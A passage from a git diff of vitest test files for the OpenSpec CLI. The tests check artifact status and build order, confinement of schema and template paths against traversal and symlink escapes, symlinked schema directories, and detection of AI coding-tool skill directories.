'custom'); + const templatesDir = path.join(schemaDir, 'templates'); + const outsideFile = path.join(tempDir, 'outside.md'); + fs.mkdirSync(templatesDir, { recursive: true }); + fs.writeFileSync(path.join(schemaDir, 'schema.yaml'), 'name: custom\n'); + fs.writeFileSync(outsideFile, 'private'); + fs.symlinkSync(outsideFile, path.join(templatesDir, 'proposal.md')); + + try { + expect(() => loadTemplate('custom', 'proposal.md', tempDir)).toThrow( + /outside the allowed directory/u + ); + } finally { + fs.rmSync(tempDir, { recursive: true, force: true }); + } + }); + + it('should reject Windows-style template traversal on Windows', () => { + if (process.platform !== 'win32') return; + + expect(() => loadTemplate('spec-driven', '..\\outside.md')).toThrow( + TemplateLoadError + ); + }); }); describe('loadChangeContext', () => { @@ -122,6 +154,81 @@ describe('instruction-loader', () => { expect(context.schemaName).toBe('spec-driven'); }); + + it('should mark specs complete when metadata declares skip_specs', () => { + const changeDir = path.join(tempDir, 'openspec', 'changes', 'my-change'); + fs.mkdirSync(changeDir, { recursive: true }); + fs.writeFileSync(path.join(changeDir, 'proposal.md'), '# Proposal'); + fs.writeFileSync( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + + const context = loadChangeContext(tempDir, 'my-change'); + + expect(context.completed.has('specs')).toBe(true); + expect(context.skippedArtifacts?.has('specs')).toBe(true); + // Only specs-producing artifacts are synthesized; the rest still + // depend on their files existing. + expect(context.completed.has('tasks')).toBe(false); + expect(context.completed.has('design')).toBe(false); + + // Status must render the synthesized completion as skipped, not done. + const status = formatChangeStatus(context); + const specsStatus = status.artifacts.find((a) => a.id === 'specs'); + expect(specsStatus?.status).toBe('skipped'); + const proposalStatus = status.artifacts.find((a) => a.id === 'proposal'); + expect(proposalStatus?.status).toBe('done'); + + // Instructions for the skipped artifact carry the marker so agents are + // warned instead of told to create conflicting spec files. + expect(generateInstructions(context, 'specs').skipped).toBe(true); + expect(generateInstructions(context, 'design').skipped).toBeUndefined(); + }); + + it('should skip artifacts whose generates path carries a ./ prefix', () => { + // './specs/...' globs identically to 'specs/...' everywhere else, so + // the skip set must normalize before its prefix test. + const changeDir = path.join(tempDir, 'openspec', 'changes', 'my-change'); + fs.mkdirSync(changeDir, { recursive: true }); + fs.writeFileSync(path.join(changeDir, 'proposal.md'), '# Proposal'); + const schemaDir = path.join(tempDir, 'openspec', 'schemas', 'dot-specs'); + fs.mkdirSync(schemaDir, { recursive: true }); + fs.writeFileSync( + path.join(schemaDir, 'schema.yaml'), + [ + 'name: dot-specs', + 'version: 1', + 'description: schema writing generates with a ./ prefix', + 'artifacts:', + ' - id: specs', + ' generates: "./specs/**/*.md"', + ' description: delta specs', + ' template: specs.md', + ' requires: []', + ].join('\n') + ); + fs.writeFileSync( + path.join(changeDir, '.openspec.yaml'), + 'schema: dot-specs\nskip_specs: true\n' + ); + + const context = loadChangeContext(tempDir, 'my-change'); + + expect(context.completed.has('specs')).toBe(true); + expect(context.skippedArtifacts?.has('specs')).toBe(true); + }); + + it('should not mark specs complete without skip_specs', () => { + const changeDir = path.join(tempDir, 'openspec', 'changes', 'my-change'); + fs.mkdirSync(changeDir, { recursive: true }); + fs.writeFileSync(path.join(changeDir, 'proposal.md'), '# Proposal'); + fs.writeFileSync(path.join(changeDir, '.openspec.yaml'), 'schema: spec-driven\n'); + + const context = loadChangeContext(tempDir, 'my-change'); + + expect(context.completed.has('specs')).toBe(false); + }); }); describe('generateInstructions', () => { @@ -177,9 +284,8 @@ describe('instruction-loader', () => { const context = loadChangeContext(tempDir, 'my-change'); const instructions = generateInstructions(context, 'proposal'); - // proposal unlocks specs and design - expect(instructions.unlocks).toContain('specs'); - expect(instructions.unlocks).toContain('design'); + // proposal unlocks specs and design, in the schema's declared order + expect(instructions.unlocks).toEqual(['specs', 'design']); }); it('should have empty dependencies for root artifact', () => { @@ -317,6 +423,19 @@ rules: expect(designInstructions.rules).toBeUndefined(); }); + it('should not inherit rules from the rule map prototype', () => { + const context = loadChangeContext(tempDir, 'my-change'); + const inheritedRules = Object.create({ + proposal: ['Inherited rule'], + }) as Record<string, string[]>; + + const instructions = generateInstructions(context, 'proposal', tempDir, { + projectConfig: { rules: inheritedRules }, + }); + + expect(instructions.rules).toBeUndefined(); + }); + it('should return undefined rules when empty array', () => { // Create project config with empty rules array const configDir = path.join(tempDir, 'openspec'); @@ -524,6 +643,7 @@ rules: expect(status.changeName).toBe('my-change'); expect(status.schemaName).toBe('spec-driven'); + expect(status.isPlanningComplete).toBe(false); expect(status.isComplete).toBe(false); // proposal has no deps, should be ready @@ -563,7 +683,7 @@ rules: expect(specs?.outputPath).toBe('specs/**/*.md'); }); - it('should report isComplete true when all done', () => { + it('should report planning completion without removing the compatibility alias', () => { const changeDir = path.join(tempDir, 'openspec', 'changes', 'my-change'); fs.mkdirSync(changeDir, { recursive: true }); fs.mkdirSync(path.join(changeDir, 'specs'), { recursive: true }); @@ -577,10 +697,32 @@ rules: const context = loadChangeContext(tempDir, 'my-change'); const status = formatChangeStatus(context); + expect(status.isPlanningComplete).toBe(true); expect(status.isComplete).toBe(true); + expect(status.isComplete).toBe(status.isPlanningComplete); expect(status.artifacts.every(a => a.status === 'done')).toBe(true); }); + it('should count skipped artifacts as planning-complete without creating them', () => { + const changeDir = path.join(tempDir, 'openspec', 'changes', 'my-change'); + fs.mkdirSync(changeDir, { recursive: true }); + fs.writeFileSync( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + fs.writeFileSync(path.join(changeDir, 'proposal.md'), '# Proposal'); + fs.writeFileSync(path.join(changeDir, 'design.md'), '# Design'); + fs.writeFileSync(path.join(changeDir, 'tasks.md'), '# Tasks'); + + const context = loadChangeContext(tempDir, 'my-change'); + const status = formatChangeStatus(context); + + expect(status.isPlanningComplete).toBe(true); + expect(status.isComplete).toBe(true); + expect(status.artifacts.find(a => a.id === 'specs')?.status).toBe('skipped'); + expect(fs.existsSync(path.join(changeDir, 'specs'))).toBe(false); + }); + it('should show blocked artifacts with missing dependencies', () => { const context = loadChangeContext(tempDir, 'my-change'); const status = formatChangeStatus(context); @@ -592,6 +734,30 @@ rules: expect(tasks?.missingDeps).toContain('design'); }); + it('should expose each artifact\'s requires edges regardless of status', () => { + const changeDir = path.join(tempDir, 'openspec', 'changes', 'my-change'); + fs.mkdirSync(changeDir, { recursive: true }); + // Prewritten-tasks scenario: only tasks.md exists. `tasks` reads `done` + // by file existence, but its specs/design dependencies were never written. + fs.writeFileSync(path.join(changeDir, 'tasks.md'), '# Tasks'); + + const context = loadChangeContext(tempDir, 'my-change'); + const status = formatChangeStatus(context); + + // A done artifact must still carry its requires edges so callers can + // compute the transitive required set (alfred's PR #1412 blocker). + const tasks = status.artifacts.find(a => a.id === 'tasks'); + expect(tasks?.status).toBe('done'); + expect(tasks?.requires).toEqual(expect.arrayContaining(['specs', 'design'])); + + // proposal has no dependencies -> empty edges, not undefined. + const proposal = status.artifacts.find(a => a.id === 'proposal'); + expect(proposal?.requires).toEqual([]); + + // Every artifact carries the field, whatever its status. + expect(status.artifacts.every(a => Array.isArray(a.requires))).toBe(true); + }); + it('should sort artifacts in build order', () => { const context = loadChangeContext(tempDir, 'my-change'); const status = formatChangeStatus(context); diff --git a/test/core/artifact-graph/outputs.test.ts b/test/core/artifact-graph/outputs.test.ts index 988200e2c1..6c6eb558de 100644 --- a/test/core/artifact-graph/outputs.test.ts +++ b/test/core/artifact-graph/outputs.test.ts @@ -11,8 +11,7 @@ describe('artifact-graph/outputs', () => { const canonical = (targetPath: string): string => FileSystemUtils.canonicalizeExistingPath(targetPath); beforeEach(() => { - tempDir = path.join(os.tmpdir(), `openspec-outputs-test-${Date.now()}`); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-outputs-test-')); }); afterEach(() => { @@ -102,11 +101,147 @@ describe('artifact-graph/outputs', () => { ]); }); + it('resolves glob outputs through a confined linked directory', () => { + const realDir = path.join(tempDir, 'real'); + const linkedDir = path.join(tempDir, 'content', 'linked'); + const filePath = path.join(realDir, 'spec.md'); + fs.mkdirSync(realDir, { recursive: true }); + fs.mkdirSync(path.dirname(linkedDir), { recursive: true }); + fs.writeFileSync(filePath, 'content'); + fs.symlinkSync(realDir, linkedDir, process.platform === 'win32' ? 'junction' : 'dir'); + + expect(resolveArtifactOutputs(tempDir, 'content/**/*.md')).toEqual([ + canonical(filePath), + ]); + }); + it('returns an empty list when no files match the artifact output', () => { expect(resolveArtifactOutputs(tempDir, 'specs/*/spec.md')).toEqual([]); expect(artifactOutputExists(tempDir, 'specs/*/spec.md')).toBe(false); }); + it('rejects a literal output symlink that escapes the change directory', () => { + if (process.platform === 'win32') return; + + const outsideFile = path.join(path.dirname(tempDir), `${path.basename(tempDir)}-outside.md`); + fs.writeFileSync(outsideFile, 'private'); + fs.symlinkSync(outsideFile, path.join(tempDir, 'proposal.md')); + + try { + expect(() => resolveArtifactOutputs(tempDir, 'proposal.md')).toThrow( + /outside the allowed directory/u + ); + } finally { + fs.rmSync(outsideFile, { force: true }); + } + }); + + it('rejects a glob that traverses a symlinked directory outside the change', () => { + if (process.platform === 'win32') return; + + const outsideDir = fs.mkdtempSync( + path.join(path.dirname(tempDir), `${path.basename(tempDir)}-outside-`) + ); + fs.writeFileSync(path.join(outsideDir, 'secret.md'), 'private'); + fs.symlinkSync(outsideDir, path.join(tempDir, 'specs')); + + try { + expect(() => resolveArtifactOutputs(tempDir, 'specs/*.md')).toThrow( + /outside the allowed directory/u + ); + } finally { + fs.rmSync(outsideDir, { recursive: true, force: true }); + } + }); + + it('rejects an outbound linked directory below a recursive glob', () => { + const outsideDir = fs.mkdtempSync( + path.join(path.dirname(tempDir), `${path.basename(tempDir)}-outside-`) + ); + const specsDir = path.join(tempDir, 'specs'); + fs.mkdirSync(specsDir); + fs.writeFileSync(path.join(outsideDir, 'sentinel.txt'), 'private'); + fs.symlinkSync( + outsideDir, + path.join(specsDir, 'linked'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + try { + expect(() => resolveArtifactOutputs(tempDir, 'specs/**/*.md')).toThrow( + /outside the allowed directory/u + ); + } finally { + fs.rmSync(outsideDir, { recursive: true, force: true }); + } + }); + + it('ignores outbound links below directories the glob cannot visit', () => { + const matchingDir = path.join(tempDir, 'content', 'matching'); + const ignoredDir = path.join(tempDir, 'content', 'ignored', 'deep'); + const outsideDir = fs.mkdtempSync( + path.join(path.dirname(tempDir), `${path.basename(tempDir)}-outside-`) + ); + const matchingFile = path.join(matchingDir, 'result.md'); + fs.mkdirSync(matchingDir, { recursive: true }); + fs.mkdirSync(ignoredDir, { recursive: true }); + fs.writeFileSync(matchingFile, 'content'); + fs.symlinkSync( + outsideDir, + path.join(ignoredDir, 'linked'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + try { + expect(resolveArtifactOutputs(tempDir, 'content/*/*.md')).toEqual([ + canonical(matchingFile), + ]); + } finally { + fs.rmSync(outsideDir, { recursive: true, force: true }); + } + }); + + it('ignores outbound links under dot-directories excluded by the glob', () => { + const matchingDir = path.join(tempDir, 'content', 'matching'); + const ignoredDir = path.join(tempDir, 'content', '.ignored'); + const outsideDir = fs.mkdtempSync( + path.join(path.dirname(tempDir), `${path.basename(tempDir)}-outside-`) + ); + const matchingFile = path.join(matchingDir, 'result.md'); + fs.mkdirSync(matchingDir, { recursive: true }); + fs.mkdirSync(ignoredDir, { recursive: true }); + fs.writeFileSync(matchingFile, 'content'); + fs.symlinkSync( + outsideDir, + path.join(ignoredDir, 'linked'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + try { + expect(resolveArtifactOutputs(tempDir, 'content/*/*.md')).toEqual([ + canonical(matchingFile), + ]); + } finally { + fs.rmSync(outsideDir, { recursive: true, force: true }); + } + }); + + it('rejects a linked directory cycle before glob traversal', () => { + const specsDir = path.join(tempDir, 'specs'); + const capabilityDir = path.join(specsDir, 'capability'); + fs.mkdirSync(capabilityDir, { recursive: true }); + fs.writeFileSync(path.join(capabilityDir, 'spec.md'), 'content'); + fs.symlinkSync( + specsDir, + path.join(capabilityDir, 'loop'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + expect(() => resolveArtifactOutputs(tempDir, 'specs/**/*.md')).toThrow( + /linked directory cycle/u + ); + }); + describe('glob-special characters in directory paths', () => { it('resolves glob patterns when directory contains parentheses', () => { const dirWithParens = path.join(tempDir, 'project (work)'); diff --git a/test/core/artifact-graph/resolver.test.ts b/test/core/artifact-graph/resolver.test.ts index 484cc3b406..053529c355 100644 --- a/test/core/artifact-graph/resolver.test.ts +++ b/test/core/artifact-graph/resolver.test.ts @@ -11,6 +11,7 @@ import { getPackageSchemasDir, getUserSchemasDir, getProjectSchemasDir, + isSchemaDir, } from '../../../src/core/artifact-graph/resolver.js'; describe('artifact-graph/resolver', () => { @@ -18,8 +19,7 @@ describe('artifact-graph/resolver', () => { let originalEnv: NodeJS.ProcessEnv; beforeEach(() => { - tempDir = path.join(os.tmpdir(), `openspec-resolver-test-${Date.now()}`); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-resolver-test-')); originalEnv = { ...process.env }; }); @@ -118,6 +118,39 @@ artifacts: expect(schema.version).toBe(99); }); + it('should not resolve a schema path outside the schema directories', () => { + const outsideSchemaDir = path.join(tempDir, 'openspec', 'escape'); + fs.mkdirSync(outsideSchemaDir, { recursive: true }); + fs.writeFileSync( + path.join(outsideSchemaDir, 'schema.yaml'), + ` +name: escaped +version: 1 +artifacts: + - id: proposal + generates: proposal.md + description: Escaped + template: proposal.md +` + ); + + expect(getSchemaDir('../escape', tempDir)).toBeNull(); + expect(() => resolveSchema('../escape', tempDir)).toThrow(/not found/u); + }); + + it('should reject a schema file symlink that escapes its schema directory', () => { + if (process.platform === 'win32') return; + + const schemaDir = path.join(tempDir, 'openspec', 'schemas', 'linked-file'); + const outsideSchema = path.join(tempDir, 'outside-schema.yaml'); + fs.mkdirSync(schemaDir, { recursive: true }); + fs.writeFileSync(outsideSchema, 'name: outside\nversion: 1\nartifacts: []\n'); + fs.symlinkSync(outsideSchema, path.join(schemaDir, 'schema.yaml')); + + expect(getSchemaDir('linked-file', tempDir)).toBeNull(); + expect(() => resolveSchema('linked-file', tempDir)).toThrow(/not found/u); + }); + it('should validate user override and throw on invalid schema', () => { process.env.XDG_DATA_HOME = tempDir; const userSchemaDir = path.join(tempDir, 'openspec', 'schemas', 'spec-driven'); @@ -648,4 +681,127 @@ artifacts: expect(sharedSchema!.description).toBe('Project shared'); // project version wins }); }); + + // ========================================================================= + // Symlinked schema directory tests + // ========================================================================= + + describe('isSchemaDir', () => { + it('should return true for a real directory', () => { + const dir = path.join(tempDir, 'real-dir'); + fs.mkdirSync(dir); + const [entry] = fs.readdirSync(tempDir, { withFileTypes: true }); + expect(isSchemaDir(tempDir, entry)).toBe(true); + }); + + it('should return true for a symlink pointing at a directory', () => { + const target = path.join(tempDir, 'target-dir'); + fs.mkdirSync(target); + const link = path.join(tempDir, 'linked-dir'); + fs.symlinkSync(target, link, 'dir'); + + const entry = fs + .readdirSync(tempDir, { withFileTypes: true }) + .find(e => e.name === 'linked-dir')!; + expect(entry.isDirectory()).toBe(false); // sanity: Dirent sees the link, not the target + expect(entry.isSymbolicLink()).toBe(true); + expect(isSchemaDir(tempDir, entry)).toBe(true); + }); + + it('should return false for a symlink pointing at a file', () => { + const targetFile = path.join(tempDir, 'target-file'); + fs.writeFileSync(targetFile, 'contents'); + const link = path.join(tempDir, 'linked-file'); + fs.symlinkSync(targetFile, link, 'file'); + + const entry = fs + .readdirSync(tempDir, { withFileTypes: true }) + .find(e => e.name === 'linked-file')!; + expect(isSchemaDir(tempDir, entry)).toBe(false); + }); + + it('should return false for a broken symlink', () => { + const link = path.join(tempDir, 'broken-link'); + fs.symlinkSync(path.join(tempDir, 'does-not-exist'), link, 'dir'); + + const entry = fs + .readdirSync(tempDir, { withFileTypes: true }) + .find(e => e.name === 'broken-link')!; + expect(isSchemaDir(tempDir, entry)).toBe(false); + }); + + it('should return false for a regular file', () => { + const file = path.join(tempDir, 'plain-file'); + fs.writeFileSync(file, 'contents'); + const entry = fs + .readdirSync(tempDir, { withFileTypes: true }) + .find(e => e.name === 'plain-file')!; + expect(isSchemaDir(tempDir, entry)).toBe(false); + }); + }); + + describe('listSchemas with symlinked directories', () => { + it('should include a user schema that is a symlink to a directory', () => { + process.env.XDG_DATA_HOME = tempDir; + const userSchemasBase = path.join(tempDir, 'openspec', 'schemas'); + fs.mkdirSync(userSchemasBase, { recursive: true }); + + // Real schema dir stored elsewhere, linked into the user schemas dir. + const realSchemaDir = path.join(tempDir, 'shared', 'linked-schema'); + fs.mkdirSync(realSchemaDir, { recursive: true }); + fs.writeFileSync( + path.join(realSchemaDir, 'schema.yaml'), + 'name: linked\nversion: 1\nartifacts: []' + ); + fs.symlinkSync(realSchemaDir, path.join(userSchemasBase, 'linked-schema'), 'dir'); + + const schemas = listSchemas(); + expect(schemas).toContain('linked-schema'); + expect(getSchemaDir('linked-schema')).toBe(path.join(userSchemasBase, 'linked-schema')); + }); + + it('should not include a symlink pointing at a schema file', () => { + process.env.XDG_DATA_HOME = tempDir; + const userSchemasBase = path.join(tempDir, 'openspec', 'schemas'); + fs.mkdirSync(userSchemasBase, { recursive: true }); + + // A symlink whose target is a file, not a directory. + const targetFile = path.join(tempDir, 'schema.yaml'); + fs.writeFileSync(targetFile, 'name: nope\nversion: 1\nartifacts: []'); + fs.symlinkSync(targetFile, path.join(userSchemasBase, 'file-link'), 'file'); + + const schemas = listSchemas(); + expect(schemas).not.toContain('file-link'); + }); + }); + + describe('listSchemasWithInfo with symlinked directories', () => { + it('should include a symlinked user schema with source: user', () => { + process.env.XDG_DATA_HOME = tempDir; + const userSchemasBase = path.join(tempDir, 'openspec', 'schemas'); + fs.mkdirSync(userSchemasBase, { recursive: true }); + + const realSchemaDir = path.join(tempDir, 'shared', 'linked-info'); + fs.mkdirSync(realSchemaDir, { recursive: true }); + fs.writeFileSync( + path.join(realSchemaDir, 'schema.yaml'), + `name: linked-info +version: 1 +description: Linked info +artifacts: + - id: a + generates: a.md + description: A + template: a.md +` + ); + fs.symlinkSync(realSchemaDir, path.join(userSchemasBase, 'linked-info'), 'dir'); + + const schemas = listSchemasWithInfo(); + const linked = schemas.find(s => s.name === 'linked-info'); + expect(linked).toBeDefined(); + expect(linked!.source).toBe('user'); + expect(linked!.description).toBe('Linked info'); + }); + }); }); diff --git a/test/core/artifact-graph/schema.test.ts b/test/core/artifact-graph/schema.test.ts index 069216a3aa..1d50c67f9b 100644 --- a/test/core/artifact-graph/schema.test.ts +++ b/test/core/artifact-graph/schema.test.ts @@ -203,5 +203,43 @@ artifacts: const schema = parseSchema(yaml); expect(schema.artifacts[0].requires).toEqual([]); }); + + it.each([ + ['generates', '../outside.md'], + ['generates', String.raw`..\outside.md`], + ['generates', '/tmp/outside.md'], + ['generates', String.raw`C:\outside.md`], + ['template', '../outside.md'], + ['template', String.raw`..\outside.md`], + ])('should reject an escaping %s path', (field, unsafePath) => { + const yaml = ` +name: test +version: 1 +artifacts: + - id: proposal + generates: ${field === 'generates' ? JSON.stringify(unsafePath) : 'proposal.md'} + description: Test + template: ${field === 'template' ? JSON.stringify(unsafePath) : 'proposal.md'} +`; + + expect(() => parseSchema(yaml)).toThrow(/relative path inside/u); + }); + + it('should reject an apply tracking path outside the change', () => { + const yaml = ` +name: test +version: 1 +artifacts: + - id: tasks + generates: tasks.md + description: Test + template: tasks.md +apply: + requires: [tasks] + tracks: ../../outside.md +`; + + expect(() => parseSchema(yaml)).toThrow(/relative path inside/u); + }); }); }); diff --git a/test/core/artifact-graph/state.test.ts b/test/core/artifact-graph/state.test.ts index 758a7675b8..13eddd348c 100644 --- a/test/core/artifact-graph/state.test.ts +++ b/test/core/artifact-graph/state.test.ts @@ -16,8 +16,7 @@ describe('artifact-graph/state', () => { }); beforeEach(() => { - tempDir = path.join(os.tmpdir(), `openspec-state-test-${Date.now()}`); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-state-test-')); }); afterEach(() => { diff --git a/test/core/artifact-graph/workflow.integration.test.ts b/test/core/artifact-graph/workflow.integration.test.ts index 64dd6fa66e..06a12529cc 100644 --- a/test/core/artifact-graph/workflow.integration.test.ts +++ b/test/core/artifact-graph/workflow.integration.test.ts @@ -35,6 +35,22 @@ describe('artifact-graph workflow integration', () => { }); describe('spec-driven workflow', () => { + it('preserves existing flat or nested capability organization in its instructions (#1459)', () => { + const schema = resolveSchema('spec-driven'); + const proposal = schema.artifacts.find(artifact => artifact.id === 'proposal'); + const specs = schema.artifacts.find(artifact => artifact.id === 'specs'); + + expect(proposal?.instruction).toContain('`user-auth` or `identity/user-auth`'); + expect(proposal?.instruction).toContain('follow the project\'s existing spec organization'); + expect(specs?.instruction).toContain( + '`<capability-path>` is the spec directory relative to `specs/`' + ); + expect(specs?.instruction).toContain( + 'do not add a new domain level when the project uses a flat layout' + ); + expect(specs?.instruction).toContain('Do not move or rename the capability'); + }); + it('should progress through complete workflow', () => { // 1. Resolve the real built-in schema const schema = resolveSchema('spec-driven'); @@ -132,6 +148,17 @@ describe('artifact-graph workflow integration', () => { }); describe('build order consistency', () => { + it('should follow the documented proposal -> specs -> design -> tasks sequence', () => { + // specs and design are siblings (both require only proposal). Ordering + // them alphabetically put design first, contradicting the schema's own + // documented sequence and sending agents to design before specs existed. + const schema = resolveSchema('spec-driven'); + const graph = ArtifactGraph.fromSchema(schema); + + expect(graph.getBuildOrder()).toEqual(['proposal', 'specs', 'design', 'tasks']); + expect(graph.getNextArtifacts(new Set(['proposal']))).toEqual(['specs', 'design']); + }); + it('should return consistent build order across multiple calls', () => { const schema = resolveSchema('spec-driven'); const graph = ArtifactGraph.fromSchema(schema); diff --git a/test/core/available-tools.test.ts b/test/core/available-tools.test.ts index 83942dfb3a..ce14400330 100644 --- a/test/core/available-tools.test.ts +++ b/test/core/available-tools.test.ts @@ -1,19 +1,20 @@ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import { getAvailableTools } from '../../src/core/available-tools.js'; describe('available-tools', () => { let testDir: string; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-test-${randomUUID()}`); - await fs.mkdir(testDir, { recursive: true }); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-test-')); + vi.stubEnv('HOME', path.join(testDir, 'home')); + vi.stubEnv('USERPROFILE', path.join(testDir, 'home')); }); afterEach(async () => { + vi.unstubAllEnvs(); await fs.rm(testDir, { recursive: true, force: true }); }); @@ -33,6 +34,34 @@ describe('available-tools', () => { expect(tools[0].skillsDir).toBe('.claude'); }); + it('should detect MiniMax Code only from managed skills in the user-home target', async () => { + const globalSkill = path.join( + testDir, + 'home', + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(globalSkill), { recursive: true }); + await fs.writeFile(globalSkill, 'content'); + + expect(getAvailableTools(testDir).map((tool) => tool.value)).toContain('minimax-code'); + + await fs.rm(path.join(testDir, 'home'), { recursive: true, force: true }); + const localSkill = path.join( + testDir, + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(localSkill), { recursive: true }); + await fs.writeFile(localSkill, 'content'); + + expect(getAvailableTools(testDir).map((tool) => tool.value)).not.toContain('minimax-code'); + }); + it('should detect multiple tool directories', async () => { await fs.mkdir(path.join(testDir, '.claude'), { recursive: true }); await fs.mkdir(path.join(testDir, '.cursor'), { recursive: true }); @@ -42,10 +71,41 @@ describe('available-tools', () => { const toolValues = tools.map((t) => t.value); expect(toolValues).toContain('claude'); expect(toolValues).toContain('cursor'); - expect(toolValues).toContain('windsurf'); + // Windsurf was rebranded to Devin Desktop, so .windsurf detects as devin + expect(toolValues).toContain('devin'); expect(tools).toHaveLength(3); }); + it('should detect Devin Desktop when .devin directory exists', async () => { + await fs.mkdir(path.join(testDir, '.devin'), { recursive: true }); + + const tools = getAvailableTools(testDir); + const toolValues = tools.map((t) => t.value); + expect(toolValues).toContain('devin'); + + const devinTool = tools.find((t) => t.value === 'devin'); + expect(devinTool).toBeDefined(); + expect(devinTool?.name).toBe('Devin Desktop (formerly Windsurf)'); + expect(devinTool?.skillsDir).toBe('.devin'); + }); + + it('should detect Devin Desktop from the legacy .windsurf directory', async () => { + // The rebrand moved the config dir; a project set up before it still has + // only .windsurf/, and that user must still be recognized. + await fs.mkdir(path.join(testDir, '.windsurf'), { recursive: true }); + + const tools = getAvailableTools(testDir); + expect(tools.map((t) => t.value)).toContain('devin'); + expect(tools.find((t) => t.value === 'devin')?.skillsDir).toBe('.devin'); + }); + + it('should not detect Devin Desktop when neither .devin nor .windsurf exists', async () => { + await fs.mkdir(path.join(testDir, '.cursor'), { recursive: true }); + + const tools = getAvailableTools(testDir); + expect(tools.map((t) => t.value)).not.toContain('devin'); + }); + it('should ignore files that are not directories', async () => { // Create a file named .claude instead of a directory await fs.writeFile(path.join(testDir, '.claude'), 'not a directory'); @@ -54,15 +114,164 @@ describe('available-tools', () => { expect(tools).toEqual([]); }); - it('should only return tools that have a skillsDir property', async () => { - // .agents value has no skillsDir in AI_TOOLS config - // Create directories for both a valid and the agents case + it('should return tools that support project-local or global skills', async () => { await fs.mkdir(path.join(testDir, '.claude'), { recursive: true }); + const tools = getAvailableTools(testDir); + expect(tools.map((t) => t.value)).toContain('claude'); + expect(tools.every((tool) => tool.skillsDir || tool.globalSkillsDir)).toBe(true); + }); + + it('should detect the shared agents target from .agents/skills', async () => { + await fs.mkdir(path.join(testDir, '.agents', 'skills'), { recursive: true }); + const tools = getAvailableTools(testDir); const toolValues = tools.map((t) => t.value); - expect(toolValues).toContain('claude'); - expect(toolValues).not.toContain('agents'); + expect(toolValues).toContain('agents'); + expect(toolValues).not.toContain('codex'); + }); + + it('should not detect the shared agents target from a bare .agents directory', async () => { + // Frameworks use `.agents/` for more than skills (rules, subagent definitions). + // The bare root therefore says nothing about whether this project keeps agent + // skills in the shared location, so it must not select the target. + await fs.mkdir(path.join(testDir, '.agents', 'some-other-framework'), { recursive: true }); + + const tools = getAvailableTools(testDir); + expect(tools.map((t) => t.value)).not.toContain('agents'); + expect(tools.map((t) => t.value)).not.toContain('codex'); + }); + + it('should detect Codex from its legacy skill directory', async () => { + await fs.mkdir(path.join(testDir, '.codex', 'skills'), { recursive: true }); + + const tools = getAvailableTools(testDir); + expect(tools.map((tool) => tool.value)).toEqual(['codex']); + expect(tools[0].skillsDir).toBe('.agents'); + }); + + it('should use the shared-root marker to distinguish Codex from agents', async () => { + await fs.mkdir(path.join(testDir, '.agents', 'skills'), { recursive: true }); + await fs.writeFile(path.join(testDir, '.agents', 'skills', '.openspec-target'), 'codex\n'); + + const tools = getAvailableTools(testDir); + expect(tools.map((tool) => tool.value)).toContain('codex'); + expect(tools.map((tool) => tool.value)).not.toContain('agents'); + }); + + it('should preserve a global tool while reconciling a shared project root', async () => { + const sharedSkills = path.join(testDir, '.agents', 'skills'); + const globalSkill = path.join( + testDir, + 'home', + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + await fs.mkdir(sharedSkills, { recursive: true }); + await fs.writeFile(path.join(sharedSkills, '.openspec-target'), 'agents\n'); + await fs.mkdir(path.dirname(globalSkill), { recursive: true }); + await fs.writeFile(globalSkill, 'content'); + + expect(getAvailableTools(testDir).map((tool) => tool.value)).toEqual([ + 'minimax-code', + 'agents', + ]); + }); + + it('should infer an unmarked canonical Codex tree from its invocation syntax', async () => { + const skillFile = path.join( + testDir, + '.agents', + 'skills', + 'openspec-propose', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(skillFile), { recursive: true }); + await fs.writeFile(skillFile, 'Next: $openspec-apply-change'); + + const tools = getAvailableTools(testDir); + expect(tools.map((tool) => tool.value)).toEqual(['codex']); + }); + + it.each(['', 'unknown'])( + 'should preserve generic content when the shared marker is %j', + async (marker) => { + const skillsDir = path.join(testDir, '.agents', 'skills'); + const skillFile = path.join(skillsDir, 'openspec-propose', 'SKILL.md'); + await fs.mkdir(path.dirname(skillFile), { recursive: true }); + await fs.writeFile(skillFile, 'Next: /openspec-apply-change'); + await fs.writeFile(path.join(skillsDir, '.openspec-target'), `${marker}\n`); + + const tools = getAvailableTools(testDir); + expect(tools.map((tool) => tool.value)).toEqual(['agents']); + } + ); + + it('should consolidate an unmarked generic tree when legacy Codex skills also exist', async () => { + const agentsSkill = path.join( + testDir, + '.agents', + 'skills', + 'openspec-propose', + 'SKILL.md' + ); + const codexSkill = path.join( + testDir, + '.codex', + 'skills', + 'openspec-propose', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(agentsSkill), { recursive: true }); + await fs.mkdir(path.dirname(codexSkill), { recursive: true }); + await fs.writeFile(agentsSkill, 'Next: /openspec-apply-change'); + await fs.writeFile(codexSkill, 'Next: $openspec-apply-change'); + + const tools = getAvailableTools(testDir); + expect(tools.map((tool) => tool.value)).toEqual(['codex']); + }); + + it('should detect valid legacy Codex skills beside an escaped managed link', async () => { + const outsideDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-legacy-outside-')); + try { + const legacySkills = path.join(testDir, '.codex', 'skills'); + await fs.mkdir(path.join(legacySkills, 'openspec-propose'), { recursive: true }); + await fs.writeFile( + path.join(legacySkills, 'openspec-propose', 'SKILL.md'), + 